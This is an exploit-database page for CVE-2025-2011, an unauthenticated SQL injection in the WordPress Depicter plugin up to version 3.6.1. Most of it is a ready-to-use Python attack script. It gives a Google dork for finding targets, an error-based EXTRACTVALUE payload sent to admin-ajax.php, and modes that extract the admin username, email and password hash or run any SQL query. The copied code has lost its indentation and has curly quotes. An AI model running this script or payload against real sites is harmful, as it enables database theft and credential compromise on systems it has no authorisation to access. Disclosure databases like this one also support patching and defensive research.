WordPress Depicter Plugin 3.6.1 – SQL Injection

Exploit Details

Basic Information

Exploit Title WordPress Depicter Plugin 3.6.1 – SQL Injection
Exploit ID EDB-ID:52285
Type exploitdb
Published 2025-05-09T00:00:00
Modified 2025-05-09T00:00:00

CVSS Information

CVSS Score 7.5
Severity HIGH
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE Information

  • CVE-2025-2011

Exploit Description

Exploit Title: WordPress Depicter Plugin 3.6.1 – SQL Injection Google Dork: inurl:/wp-content/plugins/depicter/ Date: 2025-05-06 Exploit Author: Andrew Long…

Exploit Code

# Exploit Title: WordPress Depicter Plugin 3.6.1 – SQL Injection

# Google Dork: inurl:/wp-content/plugins/depicter/

# Date: 2025-05-06

# Exploit Author: Andrew Long (datagoboom)

# Vendor Homepage: https://wordpress.org/plugins/depicter/

# Software Link: https://downloads.wordpress.org/plugin/depicter.3.6.1.zip

# Version: <= 3.6.1
# Tested on: WordPress 6.x

# CVE: CVE-2025-2011

# Description:

# The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to SQL Injection via the ‘s’ parameter in all versions up to, and including, 3.6.1.

# The vulnerability exists due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.

# This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

# The vulnerability is located in the admin-ajax.php endpoint and can be exploited through the ‘s’ parameter. The PoC demonstrates how to:

# 1. Check if a target is vulnerable

# 2. Extract admin user details

# 3. Execute custom SQL queries

# The exploit is provided as a Python script (poc.py) that includes:

# – Error-based SQL injection detection

# – Admin user information extraction

# – Custom SQL query execution capability

# – Debug mode for detailed output

#!/usr/bin/env python3

import argparse

import re

import sys

import time

import html

import urllib.parse

from urllib.parse import urlparse

try:

import requests

from colorama import Fore, Style, init

init(autoreset=True)

USE_COLOR = True

except ImportError:

class MockColorama:

def __getattr__(self, name):

return “”

Fore = Style = MockColorama()

USE_COLOR = False

print(“[!] Missing dependencies. Install with: pip install requests colorama”)

print(“[!] Continuing without colored output…”)

def print_banner():

banner = f”””

{Fore.CYAN}╔════════════════════════════════════════════════════════════════╗

{Fore.CYAN}║ {Fore.RED}CVE-2025-2011 – SQLi in Depicter Slider & Popup Builder <3.6.2 {Fore.CYAN}║
{Fore.CYAN}║ {Fore.GREEN}By datagoboom {Fore.CYAN} ║

{Fore.CYAN}╚════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}

“””

print(banner)

def verify_target(url):

parsed_url = urlparse(url)

if not parsed_url.scheme:

url = “http://” + url

if url.endswith(‘/’):

url = url[:-1]

print(f”{Fore.YELLOW}[*] Target URL: {url}”)

return url

def test_connection(url):

try:

response = requests.get(url, timeout=10)

if response.status_code == 200:

print(f”{Fore.GREEN}[+] Successfully connected to the target”)

return True

else:

print(f”{Fore.RED}[-] Received status code {response.status_code}”)

return False

except requests.exceptions.RequestException as e:

print(f”{Fore.RED}[-] Connection error: {e}”)

return False

def extract_data(url, sql_query, max_length=50, debug=False):

payload = f”test%’ AND EXTRACTVALUE(1,CONCAT(0x7e,({sql_query}),0x7e))=’&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index”

target_url = f”{url}/wp-admin/admin-ajax.php?s={payload}”

try:

if debug:

print(f”{Fore.BLUE}[DEBUG] Requesting: {target_url}”)

response = requests.get(target_url, timeout=20)

if debug:

print(f”{Fore.BLUE}[DEBUG] Response status: {response.status_code}”)

decoded_text = html.unescape(response.text)

error_pattern = r”XPATH syntax error: ‘~(.*?)~'”

match = re.search(error_pattern, decoded_text)

if match:

extracted_data = match.group(1)

return extracted_data

else:

if debug:

print(f”{Fore.RED}[-] No XPATH syntax error found in response”)

if “XPATH syntax error” in decoded_text:

print(f”{Fore.RED}[-] XPATH error found but regex didn’t match. Response excerpt:”)

print(f”{Fore.RED}[-] {decoded_text[:500]}”)

else:

print(f”{Fore.RED}[-] Response doesn’t contain XPATH error. Response excerpt:”)

print(f”{Fore.RED}[-] {decoded_text[:500]}”)

return None

except requests.exceptions.RequestException as e:

print(f”{Fore.RED}[-] Error during extraction: {e}”)

return None

def check_vulnerability(url, debug=False):

print(f”{Fore.YELLOW}[*] Checking if the target is vulnerable…”)

result = extract_data(url, “database()”, debug=debug)

if result:

print(f”{Fore.GREEN}[+] Target is VULNERABLE!”)

print(f”{Fore.GREEN}[+] Database name: {result}”)

return True

else:

result = extract_data(url, “VERSION()”, debug=debug)

if result:

print(f”{Fore.GREEN}[+] Target is VULNERABLE!”)

print(f”{Fore.GREEN}[+] MySQL version: {result}”)

return True

else:

result = extract_data(url, “‘test'”, debug=debug)

if result:

print(f”{Fore.GREEN}[+] Target is VULNERABLE!”)

print(f”{Fore.GREEN}[+] Test value: {result}”)

return True

else:

print(f”{Fore.RED}[-] Target does not appear to be vulnerable”)

manual_check = f”{url}/wp-admin/admin-ajax.php?s=test%’ AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))=’&perpage=20&page=1&orderBy=source_id&dateEnd=&dateStart=&order=DESC&sources=&action=depicter-lead-index”

print(f”{Fore.YELLOW}[*] Try checking manually in your browser: \n{manual_check}”)

return False

def extract_admin_details(url, debug=False):

print(f”{Fore.YELLOW}[*] Extracting admin user details…”)

admin_username = extract_data(url, “SELECT user_login FROM wp_users WHERE ID=1 LIMIT 1”, debug=debug)

if admin_username:

print(f”{Fore.GREEN}[+] Admin username: {admin_username}”)

admin_email = extract_data(url, “SELECT user_email FROM wp_users WHERE ID=1 LIMIT 1”, debug=debug)

if admin_email:

print(f”{Fore.GREEN}[+] Admin email: {admin_email}”)

hash_left = extract_data(url, “SELECT LEFT(user_pass,30) FROM wp_users WHERE ID=1 LIMIT 1”, debug=debug)

if hash_left:

hash_right = extract_data(url, “SELECT SUBSTRING(user_pass,31,30) FROM wp_users WHERE ID=1 LIMIT 1”, debug=debug)

if hash_right:

full_hash = hash_left + hash_right

else:

print(f”{Fore.YELLOW}[*] Could not retrieve full hash – bcrypt hashes are typically 60 chars long”)

print(f”{Fore.GREEN}[+] Admin password hash: {full_hash}”)

else:

print(f”{Fore.RED}[-] Failed to extract admin password hash”)

return {

“username”: admin_username,

“email”: admin_email,

“password_hash”: hash_left

}

else:

print(f”{Fore.RED}[-] Failed to extract admin details”)

return None

def extract_custom_data(url, query, debug=False):

print(f”{Fore.YELLOW}[*] Executing custom SQL query…”)

print(f”{Fore.YELLOW}[*] Query: {query}”)

result = extract_data(url, query, debug=debug)

if result:

print(f”{Fore.GREEN}[+] Result: {result}”)

return result

else:

print(f”{Fore.RED}[-] Failed to execute query or no results returned”)

return None

def main():

parser = argparse.ArgumentParser(description=’CVE-2025-2011 – SQLi in Depicter Slider & Popup Builder’)

parser.add_argument(‘-u’, ‘–url’, required=True, help=’Target WordPress URL’)

parser.add_argument(‘-m’, ‘–mode’, default=’check’, choices=[‘check’, ‘admin’, ‘custom’],

help=’Extraction mode: check=vulnerability check, admin=admin details, custom=custom SQL query’)

parser.add_argument(‘-q’, ‘–query’, help=’Custom SQL query (use with -m custom)’)

parser.add_argument(‘-d’, ‘–debug’, action=’store_true’, help=’Enable debug output’)

args = parser.parse_args()

print_banner()

target_url = verify_target(args.url)

if not test_connection(target_url):

print(f”{Fore.RED}[-] Exiting due to connection failure”)

sys.exit(1)

if not check_vulnerability(target_url, debug=args.debug):

if args.mode != ‘check’:

print(f”{Fore.YELLOW}[!] Target may not be vulnerable, but continuing with requested mode…”)

else:

print(f”{Fore.RED}[-] Exiting as target does not appear to be vulnerable”)

sys.exit(1)

if args.mode == ‘check’:

pass

elif args.mode == ‘admin’:

extract_admin_details(target_url, debug=args.debug)

elif args.mode == ‘custom’:

if not args.query:

print(f”{Fore.RED}[-] Custom mode requires a SQL query (-q/–query)”)

sys.exit(1)

extract_custom_data(target_url, args.query, debug=args.debug)

print(f”\n{Fore.YELLOW}[!] Exploitation complete”)

if __name__ == “__main__”:

main()

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.